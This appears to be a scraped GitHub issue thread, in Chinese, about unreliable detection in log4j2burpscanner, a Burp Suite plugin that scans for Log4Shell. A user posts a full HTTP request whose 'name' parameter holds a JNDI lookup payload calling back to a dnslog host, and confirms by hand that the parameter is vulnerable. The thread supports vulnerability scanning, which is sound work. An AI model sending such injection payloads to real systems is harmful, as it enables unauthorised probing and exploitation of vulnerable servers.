测试了几个站点，只有第一个检测成功 about log4j2burpscanner HOT 5 CLOSED

好像跟先后没有关系，能检测到漏洞的那个靶机，在另一台电脑上用burp插件测试又检测不到了，换了ceye.io的dnslog也不行，好像是不太稳定的样子

from log4j2burpscanner.

感谢师傅反馈，靶场问题可能是请求头过大，或者畸形请求头问题，将在下个版本更新，进行请求头参数可控
另，dnslog问题取决于网络环境与dns平台的延迟。能否方便发一下脱敏后的真实站点数据包

from log4j2burpscanner.

GET /aa/bb/cc?_=1639374981551&action=CREATE&autoAddReplicas=false&collection.configName=&maxShardsPerNode=1&name=${jndi:dns://223322.dnslog/test}&numShards=1&replicationFactor=1&router.name=compositeId&wt=json HTTP/1.1
Host: xx:xx:xx:xx:1234
Accept: application/json, text/plain, /
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Referer: http://xx:xx:xx:xx:1234/aa
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

手工测试得知 get 请求中的 name 参数是存在漏洞的

from log4j2burpscanner.

感谢！

from log4j2burpscanner.

0.14版本已可控payload的参数

from log4j2burpscanner.